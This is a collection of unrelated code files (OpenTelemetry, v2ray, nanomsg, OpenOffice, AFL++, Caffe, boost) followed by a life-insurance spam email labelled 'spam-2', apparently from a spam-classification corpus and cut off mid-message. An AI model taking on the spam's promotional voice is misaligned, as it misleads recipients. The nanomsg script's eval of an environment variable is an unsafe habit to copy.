AUTHFILE_OK = 0,
AUTHFILE_OOM,
AUTHFILE_STATFAIL, // not likely, but just to be sure
AUTHFILE_OPENFAIL,
AUTHFILE_MALFORMED,
};
// FIXME: mc_authfile or something?
enum authfile_ret authfile_load(const char *file);
int authfile_check(const char *user, const char *pass);
#endif /* AUTHFILE_H */
| 146 |
683 | <reponame>YgorCastor/opentelemetry-java-instrumentation
/*
* Copyright The OpenTelemetry Authors
* SPDX-License-Identifier: Apache-2.0
*/
package io.opentelemetry.javaagent.instrumentation.netty.v4_1.client;
import static io.opentelemetry.javaagent.instrumentation.netty.v4_1.client.NettyClientSingletons.HTTP_REQUEST;
import static io.opentelemetry.javaagent.instrumentation.netty.v4_1.client.NettyClientSingletons.instrumenter;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelOutboundHandlerAdapter;
import io.netty.channel.ChannelPromise;
import io.netty.handler.codec.http.HttpRequest;
import io.netty.util.Attribute;
import io.opentelemetry.context.Context;
import io.opentelemetry.context.Scope;
import io.opentelemetry.instrumentation.netty.v4_1.AttributeKeys;
import io.opentelemetry.javaagent.instrumentation.netty.common.HttpRequestAndChannel;
public class HttpClientRequestTracingHandler extends ChannelOutboundHandlerAdapter {
@Override
public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise prm) {
if (!(msg instanceof HttpRequest)) {
ctx.write(msg, prm);
return;
}
Context parentContext = ctx.channel().attr(AttributeKeys.WRITE_CONTEXT).getAndRemove();
if (parentContext == null) {
parentContext = Context.current();
}
HttpRequestAndChannel request = HttpRequestAndChannel.create((HttpRequest) msg, ctx.channel());
if (!instrumenter().shouldStart(parentContext, request) || isAwsRequest(request)) {
ctx.write(msg, prm);
return;
}
Attribute<Context> parentContextAttr = ctx.channel().attr(AttributeKeys.CLIENT_PARENT_CONTEXT);
Attribute<Context> contextAttr = ctx.channel().attr(AttributeKeys.CLIENT_CONTEXT);
Attribute<HttpRequestAndChannel> requestAttr = ctx.channel().attr(HTTP_REQUEST);
Context context = instrumenter().start(parentContext, request);
parentContextAttr.set(parentContext);
contextAttr.set(context);
requestAttr.set(request);
try (Scope ignored = context.makeCurrent()) {
ctx.write(msg, prm);
// span is ended normally in HttpClientResponseTracingHandler
} catch (Throwable throwable) {
instrumenter().end(contextAttr.getAndRemove(), requestAttr.getAndRemove(), null, throwable);
parentContextAttr.remove();
throw throwable;
}
}
private static boolean isAwsRequest(HttpRequestAndChannel request) {
// The AWS SDK uses Netty for asynchronous clients but constructs a request signature before
// beginning transport. This means we MUST suppress Netty spans we would normally create or
// they will inject their own trace header, which does not match what was present when the
// signature was computed, breaking the SDK request completely. We have not found how to
// cleanly propagate context from the SDK instrumentation, which executes on an application
// thread, to Netty instrumentation, which executes on event loops. If it's possible, it may
// require instrumenting internal classes. Using a header which is more or less guaranteed to
// always exist is arguably more stable.
return request.request().headers().contains("amz-sdk-invocation-id");
}
}
| 1,011 |
1,144 | // Generated by the protocol buffer compiler. DO NOT EDIT!
// source: v2ray.com/core/app/policy/config.proto
package com.v2ray.core.app.policy;
public interface ConfigOrBuilder extends
// @@protoc_insertion_point(interface_extends:v2ray.core.app.policy.Config)
com.google.protobuf.MessageOrBuilder {
/**
* <code>map<uint32, .v2ray.core.app.policy.Policy> level = 1;</code>
*/
int getLevelCount();
/**
* <code>map<uint32, .v2ray.core.app.policy.Policy> level = 1;</code>
*/
boolean containsLevel(
int key);
/**
* Use {@link #getLevelMap()} instead.
*/
@Deprecated
java.util.Map<Integer, Policy>
getLevel();
/**
* <code>map<uint32, .v2ray.core.app.policy.Policy> level = 1;</code>
*/
java.util.Map<Integer, Policy>
getLevelMap();
/**
* <code>map<uint32, .v2ray.core.app.policy.Policy> level = 1;</code>
*/
Policy getLevelOrDefault(
int key,
Policy defaultValue);
/**
* <code>map<uint32, .v2ray.core.app.policy.Policy> level = 1;</code>
*/
Policy getLevelOrThrow(
int key);
/**
* <code>.v2ray.core.app.policy.SystemPolicy system = 2;</code>
*/
boolean hasSystem();
/**
* <code>.v2ray.core.app.policy.SystemPolicy system = 2;</code>
*/
SystemPolicy getSystem();
/**
* <code>.v2ray.core.app.policy.SystemPolicy system = 2;</code>
*/
com.v2ray.core.app.policy.SystemPolicyOrBuilder getSystemOrBuilder();
}
| 696 |
334 | <reponame>HRI-EU/HRI-nanomsg-python<gh_stars>100-1000
from __future__ import division, absolute_import, print_function,\
unicode_literals
import os
from nanomsg_wrappers import set_wrapper_choice, get_default_for_platform
WRAPPER = os.environ.get('NANOMSG_PY_TEST_WRAPPER', get_default_for_platform())
set_wrapper_choice(WRAPPER)
from nanomsg import (
PAIR,
Socket,
create_message_buffer
)
from nanomsg.wrapper import (
nn_send,
nn_recv
)
SOCKET_ADDRESS = os.environ.get('NANOMSG_PY_TEST_ADDRESS', "inproc://a")
import time
BUFFER_SIZE = eval(os.environ.get('NANOMSG_PY_TEST_BUFFER_SIZE', "1024"))
msg = create_message_buffer(BUFFER_SIZE, 0)
DURATION = 10
print(('Working NANOMSG_PY_TEST_BUFFER_SIZE %d NANOMSG_PY_TEST_WRAPPER %r '
'NANOMSG_PY_TEST_ADDRESS %r') % (BUFFER_SIZE, WRAPPER, SOCKET_ADDRESS))
count = 0
start_t = time.time()
with Socket(PAIR) as socket1:
with Socket(PAIR) as socket2:
socket1.bind(SOCKET_ADDRESS)
socket2.connect(SOCKET_ADDRESS)
while time.time() < start_t + DURATION:
c = chr(count % 255)
memoryview(msg)[0] = c
socket1.send(msg)
res = socket2.recv(msg)
assert res[0] == c
count += 1
stop_t = time.time()
print('Socket API throughput with checks - %f Mb/Second' % ((count * BUFFER_SIZE) / (stop_t - start_t) / 1024,))
count = 0
start_t = time.time()
with Socket(PAIR) as socket1:
with Socket(PAIR) as socket2:
socket1.bind(SOCKET_ADDRESS)
socket2.connect(SOCKET_ADDRESS)
while time.time() < start_t + DURATION:
nn_send(socket1.fd, msg, 0)
nn_recv(socket2.fd, msg, 0)
count += 1
stop_t = time.time()
print('Raw thoughtput no checks - %f Mb/Second' % ((count * BUFFER_SIZE) / (stop_t - start_t) / 1024,))
| 874 |
679 | /**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
#ifndef _CONNECTIVITY_ADO_INDEX_HXX_
#define _CONNECTIVITY_ADO_INDEX_HXX_
#include "connectivity/sdbcx/VIndex.hxx"
#include <com/sun/star/sdbc/XDatabaseMetaData.hpp>
#include "ado/Awrapadox.hxx"
namespace connectivity
{
namespace ado
{
typedef sdbcx::OIndex OIndex_ADO;
class OConnection;
class OAdoIndex : public OIndex_ADO
{
WpADOIndex m_aIndex;
OConnection* m_pConnection;
protected:
void fillPropertyValues();
virtual void SAL_CALL setFastPropertyValue_NoBroadcast(sal_Int32 nHandle,const ::com::sun::star::uno::Any& rValue)throw (::com::sun::star::uno::Exception);
public:
virtual void refreshColumns();
public:
virtual void SAL_CALL acquire() throw();
virtual void SAL_CALL release() throw();
OAdoIndex(sal_Bool _bCase, OConnection* _pConnection,ADOIndex* _pIndex);
OAdoIndex(sal_Bool _bCase, OConnection* _pConnection);
// com::sun::star::lang::XUnoTunnel
virtual sal_Int64 SAL_CALL getSomething( const ::com::sun::star::uno::Sequence< sal_Int8 >& aIdentifier ) throw(::com::sun::star::uno::RuntimeException);
static ::com::sun::star::uno::Sequence< sal_Int8 > getUnoTunnelImplementationId();
WpADOIndex getImpl() const { return m_aIndex;}
};
}
}
#endif // _CONNECTIVITY_ADO_INDEX_HXX_
| 764 |
606 | <filename>frida_mode/test/unstable/unstable.c
/*
american fuzzy lop++ - a trivial program to test the build
--------------------------------------------------------
Originally written by <NAME>
Copyright 2014 Google Inc. All rights reserved.
Copyright 2019-2022 AFLplusplus Project. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at:
http://www.apache.org/licenses/LICENSE-2.0
*/
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef __APPLE__
#define TESTINSTR_SECTION
#else
#define TESTINSTR_SECTION __attribute__((section(".testinstr")))
#endif
void LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if (size < 1) return;
int r = rand();
if ((r % 2) == 0) {
printf ("Hooray all even\n");
} else {
printf ("Hmm that's odd\n");
}
// we support three input cases
if (data[0] == '0')
printf("Looks like a zero to me!\n");
else if (data[0] == '1')
printf("Pretty sure that is a one!\n");
else
printf("Neither one or zero? How quaint!\n");
}
void run_test(char * file) {
fprintf(stderr, "Running: %s\n", file);
FILE *f = fopen(file, "r");
assert(f);
fseek(f, 0, SEEK_END);
size_t len = ftell(f);
fseek(f, 0, SEEK_SET);
unsigned char *buf = (unsigned char*)malloc(len);
size_t n_read = fread(buf, 1, len, f);
fclose(f);
assert(n_read == len);
LLVMFuzzerTestOneInput(buf, len);
free(buf);
fprintf(stderr, "Done: %s: (%zd bytes)\n", file, n_read);
}
int main(int argc, char **argv) {
srand(1);
fprintf(stderr, "StandaloneFuzzTargetMain: running %d inputs\n", argc - 1);
for (int i = 1; i < argc; i++) {
run_test(argv[i]);
}
}
| 698 |
1,437 | <filename>caffe-vsproj/libClassification/classifierCaffe.cpp<gh_stars>1000+
#include "classifierCaffe.h"
///////////////////////////////
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <time.h> /*用到了time函数,所以要有这个头文件*/
#include <fstream>
#include <sstream>
#include <exception>
#include <vector>
#include <io.h>
#include <caffe/caffe.hpp>
#ifdef USE_OPENCV
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#endif // USE_OPENCV
#include <algorithm>
#include <iosfwd>
#include <memory>
#include <string>
#include <utility>
#include <vector>
#ifdef USE_OPENCV
using namespace caffe; // NOLINT(build/namespaces)
using std::string;
extern void initTrainImage();
extern vector<string> imgNames;
//
//#define showSteps 0
//
using namespace std;
//char * configFile = "config.txt";
//
////读取config文件里的内容--
//char* trainSetPosPath = (char *)malloc(200 * sizeof(char));
//char* templateName = (char *)malloc(200 * sizeof(char));
//int frame_width = 640;
//int frame_height = 480;
//char *model_file = (char *)malloc(200 * sizeof(char)); //model_file = "LightenedCNN_C_deploy.prototxt";
//char *trained_file = (char *)malloc(200 * sizeof(char)); //trained_file = "LightenedCNN_C.caffemodel";
//int label_file = 256;
//void readConfig(char* configFile, char* trainSetPosPath){
// fstream f;
// char cstring[1000];
// int readS = 0;
// f.open(configFile, fstream::in);
// char param1[200]; strcpy(param1, "");
// char param2[200]; strcpy(param2, "");
// char param3[200]; strcpy(param3, "");
//
// //--读取第一行:--
// f.getline(cstring, sizeof(cstring));
// readS = sscanf(cstring, "%s %s %s", param1, param2, param3);
// strcpy(trainSetPosPath, param3);
//
// //--读取第2行:-- 对比人脸
// f.getline(cstring, sizeof(cstring));
// readS = sscanf(cstring, "%s %s %s", param1, param2, param3);
// strcpy(templateName, param3);
//
// //--读取第3行:-- 相机宽
// f.getline(cstring, sizeof(cstring));
// readS = sscanf(cstring, "%s %s %d", param1, param2, &frame_width);
//
// //--读取第4行:-- 相机高
// f.getline(cstring, sizeof(cstring));
// readS = sscanf(cstring, "%s %s %d", param1, param2, &frame_height);
//
// //--读取第5行:-- 训练模型
// f.getline(cstring, sizeof(cstring));
// readS = sscanf(cstring, "%s %s %s", param1, param2, param3);
// strcpy(model_file, param3);
//
// //--读取第6行:-- 训练权重
// f.getline(cstring, sizeof(cstring));
// readS = sscanf(cstring, "%s %s %s", param1, param2, param3);
// strcpy(trained_file, param3);
//
// //--读取第6行:-- 特征数量
// f.getline(cstring, sizeof(cstring));
// readS = sscanf(cstring, "%s %s %d", param1, param2, &label_file);
//}
//
////遍历config.txt里的根目录下的所有的文件,包括子目录。--
//// 其中子目录的名字就是label,子目录里的文件为label对于的训练测试样本---
//vector<string> imgNames;
//vector<string> imgLists;
//vector<int> imgLabels;
//int labelTemp = 0;
//
//void dfsFolder(string folderPath){
// _finddata_t FileInfo;
// string strfind = folderPath + "\\*";
// long long Handle = _findfirst(strfind.c_str(), &FileInfo);
// if (Handle == -1L)
// {
// cerr << "can not match the folder path" << endl;
// exit(-1);
// }
// do{
// //判断是否有子目录--
// if (FileInfo.attrib & _A_SUBDIR) {
// // cout<<FileInfo.name<<" "<<FileInfo.attrib<<endl;
// //这个语句很重要--
// if ((strcmp(FileInfo.name, ".") != 0) && (strcmp(FileInfo.name, "..") != 0)) {
// string newPath = folderPath + "\\" + FileInfo.name;
// cout << FileInfo.name << " " << newPath << endl;
// //根目录下下的子目录名字就是label名,如果没有子目录则其为根目录下
// labelTemp = atoi(FileInfo.name);
// // printf("%d\n",labelTemp);
// dfsFolder(newPath);
// }
// }
// else {
// string finalName = folderPath + "\\" + FileInfo.name;
// //将所有的文件名写入一个txt文件--
// // cout << FileInfo.name << "\t";
// // printf("%d\t",label);
// // cout << folderPath << "\\" << FileInfo.name << " " <<endl;
// //将文件名字和label名字(子目录名字赋值给向量)--
// imgLabels.push_back(labelTemp);
// imgNames.push_back(finalName);
//
//
// std::stringstream ss;
// std::string str;
// ss << labelTemp;
// ss >> str;
//
// string finalList = FileInfo.name;
// imgLists.push_back(finalList);
//
// }
// } while (_findnext(Handle, &FileInfo) == 0);
// _findclose(Handle);
//
//}
//
//void initTrainImage(){
// readConfig(configFile, trainSetPosPath);
//
// string folderPath = trainSetPosPath;
// // string folderPath = "H:\\char\\poker_rec_char_equalist_test";
// // string folderPath = "C:\\planeSample\\recSampleData\\rec";
// // string folderPath = "C:\\Users\\Administrator\\Desktop\\LPR\\hu\\";
// dfsFolder(folderPath);
//
//}
////////////////////////////////////////////
Classifier::Classifier(const string& model_file,
const string& trained_file,
const string& mean_file,
const int& label_file) {
#ifdef CPU_ONLY
caffe::Caffe::set_mode(caffe::Caffe::CPU);
#else
Caffe::set_mode(Caffe::GPU);
#endif
/* Load the network. */
net_.reset(new caffe::Net<float>(model_file, caffe::TEST));
net_->CopyTrainedLayersFrom(trained_file);
CHECK_EQ(net_->num_inputs(), 1) << "Network should have exactly one input.";
//CHECK_EQ(net_->num_outputs(), 1) << "Network should have exactly one output.";
caffe::Blob<float>* input_layer = net_->input_blobs()[0];
num_channels_ = input_layer->channels();
CHECK(num_channels_ == 3 || num_channels_ == 1)
<< "Input layer should have 1 or 3 channels.";
input_geometry_ = cv::Size(input_layer->width(), input_layer->height());
/* Load the binaryproto mean file. */
if (mean_file != ""){
SetMean(mean_file);
}
vector<string> label_array;
for (int j = 0; j < label_file; j++)
{
label_array.push_back("0");
}
caffe::Blob<float>* output_layer = net_->output_blobs()[0];
CHECK_EQ(label_array.size(), output_layer->channels())
<< "Number of labels is different from the output layer dimension.";
labels_.push_back(label_array);
}
static bool PairCompare(const std::pair<float, int>& lhs,
const std::pair<float, int>& rhs) {
return lhs.first > rhs.first;
}
/* Return the indices of the top N values of vector v. */
static std::vector<int> Argmax(const std::vector<float>& v, int N) {
std::vector<std::pair<float, int> > pairs;
for (size_t i = 0; i < v.size(); ++i)
pairs.push_back(std::make_pair(v[i], static_cast<int>(i)));
std::partial_sort(pairs.begin(), pairs.begin() + N, pairs.end(), PairCompare);
std::vector<int> result;
for (int i = 0; i < N; ++i)
result.push_back(pairs[i].second);
return result;
}
/* Return the top N predictions. */
std::vector<float> Classifier::Classify(const cv::Mat& img) {
auto output = Predict(img);
vector<float> v1;
for (int i = 0; i < output.size(); i++){
v1.push_back((float)output[i]);
}
return v1;
}
/* Load the mean file in binaryproto format. */
void Classifier::SetMean(const string& mean_file) {
caffe::BlobProto blob_proto;
caffe::ReadProtoFromBinaryFileOrDie(mean_file.c_str(), &blob_proto);
/* Convert from BlobProto to Blob<float> */
caffe::Blob<float> mean_blob;
mean_blob.FromProto(blob_proto);
CHECK_EQ(mean_blob.channels(), num_channels_)
<< "Number of channels of mean file doesn't match input layer.";
/* The format of the mean file is planar 32-bit float BGR or grayscale. */
std::vector<cv::Mat> channels;
float* data = mean_blob.mutable_cpu_data();
for (int i = 0; i < num_channels_; ++i) {
/* Extract an individual channel. */
cv::Mat channel(mean_blob.height(), mean_blob.width(), CV_32FC1, data);
channels.push_back(channel);
data += mean_blob.height() * mean_blob.width();
}
/* Merge the separate channels into a single image. */
cv::Mat mean;
cv::merge(channels, mean);
/* Compute the global mean pixel value and create a mean image
* filled with this value. */
cv::Scalar channel_mean = cv::mean(mean);
mean_ = cv::Mat(input_geometry_, mean.type(), channel_mean);
}
std::vector<float> Classifier::Predict(const cv::Mat& img) {
caffe::Blob<float>* input_layer = net_->input_blobs()[0];
input_layer->Reshape(1, num_channels_,
input_geometry_.height, input_geometry_.width);
/* Forward dimension change to all layers. */
net_->Reshape();
std::vector<cv::Mat> input_channels;
WrapInputLayer(&input_channels);
Preprocess(img, &input_channels);
net_->ForwardPrefilled();
/* Copy the output layer to a std::vector */
caffe::Blob<float>* output_layer1 = net_->output_blobs()[0];
const float* begin1 = output_layer1->cpu_data();
const float* end1 = begin1 + output_layer1->channels();
std::vector<float> prob1(begin1, end1);
return prob1;
}
/* Wrap the input layer of the network in separate cv::Mat objects
* (one per channel). This way we save one memcpy operation and we
* don't need to rely on cudaMemcpy2D. The last preprocessing
* operation will write the separate channels directly to the input
* layer. */
void Classifier::WrapInputLayer(std::vector<cv::Mat>* input_channels) {
caffe::Blob<float>* input_layer = net_->input_blobs()[0];
int width = input_layer->width();
int height = input_layer->height();
float* input_data = input_layer->mutable_cpu_data();
for (int i = 0; i < input_layer->channels(); ++i) {
cv::Mat channel(height, width, CV_32FC1, input_data);
input_channels->push_back(channel);
input_data += width * height;
}
}
void Classifier::Preprocess(const cv::Mat& img,
std::vector<cv::Mat>* input_channels) {
/* Convert the input image to the input image format of the network. */
cv::Mat sample;
if (img.channels() == 3 && num_channels_ == 1)
cv::cvtColor(img, sample, cv::COLOR_BGR2GRAY);
else if (img.channels() == 4 && num_channels_ == 1)
cv::cvtColor(img, sample, cv::COLOR_BGRA2GRAY);
else if (img.channels() == 4 && num_channels_ == 3)
cv::cvtColor(img, sample, cv::COLOR_BGRA2BGR);
else if (img.channels() == 1 && num_channels_ == 3)
cv::cvtColor(img, sample, cv::COLOR_GRAY2BGR);
else
sample = img;
cv::Mat sample_resized;
if (sample.size() != input_geometry_)
cv::resize(sample, sample_resized, input_geometry_);
else
sample_resized = sample;
cv::Mat sample_float;
if (num_channels_ == 3)
sample_resized.convertTo(sample_float, CV_32FC3);
else
sample_resized.convertTo(sample_float, CV_32FC1);
cv::Mat sample_normalized;
if (mean_.data != NULL)
cv::subtract(sample_float, mean_, sample_normalized);
else {
sample_normalized = sample_float;
int channels = sample_normalized.channels();
int nRows = sample_normalized.rows;
int nCols = sample_normalized.cols* channels;
if (sample_normalized.isContinuous())
{
nCols *= nRows;
nRows = 1;
}
int i, j;
float* p;
for (i = 0; i < nRows; ++i)
{
p = sample_normalized.ptr<float>(i);
for (j = 0; j < nCols; ++j)
{
//if (label_file == 256)
p[j] *= 0.00390625;
//else if (label_file == 512){
// p[j] -= 128;
// p[j] *= 0.0078125;
//}
// cout << p[j] << " ";
}
}
}
/* This operation will write the separate BGR planes directly to the
* input layer of the network because it is wrapped by the cv::Mat
* objects in input_channels. */
cv::split(sample_normalized, *input_channels);
CHECK(reinterpret_cast<float*>(input_channels->at(0).data)
== net_->input_blobs()[0]->cpu_data())
<< "Input channels are not wrapping the input layer of the network.";
}
double dotProduct(const vector<float>& v1, const vector<float>& v2)
{
assert(v1.size() == v2.size());
float ret = 0.0;
for (vector<float>::size_type i = 0; i != v1.size(); ++i)
{
ret += v1[i] * v2[i];
}
return ret;
}
double module(const vector<float>& v)
{
float ret = 0.0;
for (vector<float>::size_type i = 0; i != v.size(); ++i)
{
ret += v[i] * v[i];
}
return sqrt(ret);
}
// 夹角余弦
double cosine(const vector<float>& v1, const vector<float>& v2)
{
assert(v1.size() == v2.size());
return dotProduct(v1, v2) / (module(v1) * module(v2));
}
//float CalcSimilarity(float const fc1,
// float const fc2,
// long dim) {
// if (dim == -1) {
// dim = 2048;
// }
// return simd_dot(fc1, fc2, dim)/ (
// sqrt(simd_dot(fc1, fc1, dim))*
// sqrt(simd_dot(fc2, fc2, dim))
// );
//}
//
//
//float simd_dot(const float* x, const float* y, const long& len) {
// float inner_prod = 0.0f;
// __m128 X, Y; // 128-bit values
// __m128 acc = _mm_setzero_ps(); // set to (0, 0, 0, 0)
// float temp[4];
//
// long i;
// for (i = 0; i + 4 < len; i += 4) {
// X = _mm_loadu_ps(x + i); // load chunk of 4 floats
// Y = _mm_loadu_ps(y + i);
// acc = _mm_add_ps(acc, _mm_mul_ps(X, Y));
// }
// _mm_storeu_ps(&temp[0], acc); // store acc into an array
// inner_prod = temp[0] + temp[1] + temp[2] + temp[3];
//
// // add the remaining values
// for (; i < len; ++i) {
// inner_prod += x[i] * y[i];
// }
// return inner_prod;
//}
int main0(int argc, char** argv) {
::google::InitGoogleLogging(argv[0]);
initTrainImage();
string model_file = "face_deploy_mirror_normalize.prototxt";
string trained_file = "face_train_test_iter_530000.caffemodel"; //7:6
string mean_file = "";
int label_file = 512;
//string model_file = "LightenedCNN_C_deploy.prototxt";
//string trained_file = "LightenedCNN_C.caffemodel"; //7:6
//string mean_file = "";
//int label_file = 256;
std::cout << "the labels' channel:" << label_file << std::endl;
Classifier classifier(model_file, trained_file, mean_file, label_file);
string file = ".\\face_align\\1.jpg";
cv::Mat img = cv::imread(file, 1);
CHECK(!img.empty()) << "Unable to decode image " << file;
std::cout << "---------- Prediction for "<< file << " ----------" << std::endl;
vector<float> predictions = classifier.Classify(img);
int imgNum = imgNames.size();
for (int iNum = 0; iNum < imgNum; iNum++){
cout << endl << iNum << " " << imgNames[iNum].c_str() << endl;
//string file2 = "F:\\MTCNN-master\\vs2013_caffe_BN_multi_label\\water_meter_caffe_old\\face\\3.jpg";
cv::Mat img2 = cv::imread(imgNames[iNum].c_str(), 1);
//CHECK(!img2.empty()) << "Unable to decode image " << imgNames[iNum].c_str();
if (img2.empty()) continue;
//cv::normalize(img2,img2,255,0,CV_MINMAX);
vector<float> predictions2 = classifier.Classify(img2);
/* Print the top N predictions. */
for (size_t i = 0; i < predictions.size(); ++i) {
std::cout << predictions[i] << " ";
}
std::cout << std::endl << std::endl;
for (size_t i = 0; i < predictions2.size(); ++i) {
std::cout << predictions2[i] << " ";
}
double sim2 = cosine(predictions, predictions2);
cout << "相似度为2 :" << sim2 << endl;
}
return 1;
}
Classifier * init() {
initTrainImage();
string model_file = "face_deploy_mirror_normalize.prototxt";
string trained_file = "face_train_test_iter_530000.caffemodel"; //7:6
string mean_file = "";
int label_file = 512;
//string model_file = "LightenedCNN_C_deploy.prototxt";
//string trained_file = "LightenedCNN_C.caffemodel"; //7:6
//string mean_file = "";
//int label_file = 256;
std::cout << "the labels' channel:" << label_file << std::endl;
//Classifier classifier(model_file, trained_file, mean_file, label_file);
Classifier *classifier;
classifier = new Classifier(model_file, trained_file, mean_file, label_file);
return classifier;
}
void test_(Classifier *classify) {
Classifier *classifier = classify;
string file = ".\\face_align\\1.jpg";
cv::Mat img = cv::imread(file, 1);
CHECK(!img.empty()) << "Unable to decode image " << file;
//std::cout << "---------- Prediction for " << file << " ----------" << std::endl;
vector<float> predictions = classifier->Classify(img);
int imgNum = imgNames.size();
for (int iNum = 0; iNum < imgNum; iNum++) {
//cout << endl << iNum << " " << imgNames[iNum].c_str() << endl;
//string file2 = "F:\\MTCNN-master\\vs2013_caffe_BN_multi_label\\water_meter_caffe_old\\face\\3.jpg";
cv::Mat img2 = cv::imread(imgNames[iNum].c_str(), 1);
//CHECK(!img2.empty()) << "Unable to decode image " << imgNames[iNum].c_str();
if (img2.empty()) continue;
//cv::normalize(img2,img2,255,0,CV_MINMAX);
/*while (1) */{
vector<float> predictions2 = classifier->Classify(img2);
/* Print the top N predictions. */
/*for (size_t i = 0; i < predictions.size(); ++i) {
std::cout << predictions[i] << " ";
}
std::cout << std::endl << std::endl;
for (size_t i = 0; i < predictions2.size(); ++i) {
std::cout << predictions2[i] << " ";
}*/
double sim2 = cosine(predictions, predictions2);
//cout << "相似度为2 :" << sim2 << endl;
}
}
}
int main00(int argc, char **argv) {
::google::InitGoogleLogging(argv[0]);
Classifier *classifier = init();
Classifier *classifier2 = init();
//init_rec();
//init_detect();
for (int i = 0; i < 10; i++)
{
cout << i << endl;
std::thread first(test_, classifier);
std::thread second(test_, classifier2);
//std::thread third(test_);
first.join();
second.join();
//third.join();
}
return 1;
}
int main000(int argc, char **argv) {
Phase phase = TEST;
int gpuid = 0;
#ifdef CPU_ONLY
Caffe::set_mode(Caffe::CPU);
#else
Caffe::set_mode(Caffe::GPU);
Caffe::SetDevice(gpuid);
#endif
boost::shared_ptr<Net<float> >feature_net;
boost::shared_ptr<Net<float> >feature_net1;
//boost::thread_specific_ptr<Net<float> >feature_net;
string protopath = "face_deploy_mirror_normalize.prototxt";
string modelpath = "face_train_test_iter_530000.caffemodel"; //7:6
feature_net.reset(new Net<float>(protopath, phase));
feature_net->CopyTrainedLayersFrom(modelpath);
feature_net1.reset(new Net<float>(protopath, phase));
feature_net1->CopyTrainedLayersFrom(modelpath);
const int num = 2;
/*std::thread * thrcall = new thread[num];
thrcall[0].set_param(0, feature_net);
thrcall[0].start();
thrcall[1].set_param(1, feature_net1);
thrcall[1].start();
thrcall[0].join();
thrcall[1].join();*/
return 1;
}
#endif // USE_OPENCV | 7,492 |
521 | #ifndef BOOST_TYPE_TRAITS_TYPE_IDENTITY_HPP_INCLUDED
#define BOOST_TYPE_TRAITS_TYPE_IDENTITY_HPP_INCLUDED
//
// Copyright 2015 <NAME>
//
// Distributed under the Boost Software License, Version 1.0.
// See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
//
namespace network_boost
{
template<class T> struct type_identity
{
typedef T type;
};
} // namespace network_boost
#endif // #ifndef BOOST_TYPE_TRAITS_TYPE_IDENTITY_HPP_INCLUDED
| 190 |
3,428 | {"id":"01156","group":"spam-2","checksum":{"type":"MD5","value":"5a3a6bdccf5df42348f22cada73a1b12"},"text":"From <EMAIL> Mon Jul 29 11:40:41 2002\nReturn-Path: <<EMAIL>>\nDelivered-To: <EMAIL>.com\nReceived: from localhost (localhost [127.0.0.1])\n\tby phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65E4B44116\n\tfor <jm@localhost>; Mon, 29 Jul 2002 06:36:00 -0400 (EDT)\nReceived: from phobos [127.0.0.1]\n\tby localhost with IMAP (fetchmail-5.9.0)\n\tfor jm@localhost (single-drop); Mon, 29 Jul 2002 11:36:00 +0100 (IST)\nReceived: from xent.com ([64.161.22.236]) by dogma.slashnull.org\n (8.11.6/8.11.6) with ESMTP id g6SA35i32679 for <<EMAIL>>;\n Sun, 28 Jul 2002 11:03:05 +0100\nReceived: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix)\n with ESMTP id BE4CE2940B3; Sun, 28 Jul 2002 03:01:06 -0700 (PDT)\nDelivered-To: <EMAIL>.<EMAIL>\nReceived: from ariserver.cts.com (unknown [65.105.193.98]) by xent.com\n (Postfix) with ESMTP id E08302940A2 for <<EMAIL>>; Sun,\n 28 Jul 2002 03:00:53 -0700 (PDT)\nReceived: from mx06.hotmail.com (ACBF65CA.ipt.aol.com [172.191.101.202])\n by ariserver.cts.com with SMTP (Microsoft Exchange Internet Mail Service\n Version 5.5.2653.13) id PXRY9F8Y; Sun, 28 Jul 2002 03:02:47 -0700\nMessage-Id: <<EMAIL>>\nTo: <<EMAIL>>\nCc: <<EMAIL>>, <<EMAIL>>, <<EMAIL>>,\n\t<<EMAIL>>, <<EMAIL>>, <<EMAIL>>,\n\t<<EMAIL>>\nFrom: \"Faith\" <<EMAIL>>\nSubject: Are you at risk? Get covered!... CZFQNT\nMIME-Version: 1.0\nReply-To: [email protected]\nSender: [email protected]\nErrors-To: [email protected]\nX-Beenthere: <EMAIL>\nX-Mailman-Version: 2.0.11\nPrecedence: bulk\nList-Help: <mailto:<EMAIL>?subject=help>\nList-Post: <mailto:<EMAIL>>\nList-Subscribe: <http://xent.com/mailman/listinfo/fork>, <mailto:<EMAIL>?subject=subscribe>\nList-Id: Friends of <NAME> <fork.xent.com>\nList-Unsubscribe: <http://xent.com/mailman/listinfo/fork>,\n <mailto:<EMAIL>?subject=unsubscribe>\nList-Archive: <http://xent.com/pipermail/fork/>\nDate: Sun, 28 Jul 2002 03:02:07 -1900\nContent-Type: text/html; charset=\"iso-8859-1\"\nContent-Transfer-Encoding: quoted-printable\n\n<html>\n<head>\n</head>\n<body>\n\n<center>\n<font face=3D\"times\" size=3D\"6\" color=3D\"#000000\">Save up to\n\n<font color=3D\"#ff0000\">75%</font> on your Term Life\nInsurance!</font>\n<br> \n<font face=3D\"times\" size=3D\"4\" color=3D\"#000000\">\n<i>Compare rates from top insurance companies around\nthe country</i></font>\n<br><br>\n<font face=3D\"arial\" size=3D\"4\" color=3D\"#7084D6\">\n<b>In our life and times, it's important to plan for\nyour family's future, while \n<br>being comfortable financially. Choose the right\nLife Insurance policy today.</font>\n<p>\n<font face=3D\"arial\" size=3D\"3\" color=3D\"#000000\">\n<i>Click the link below to compare the lowest rates\nand save up to 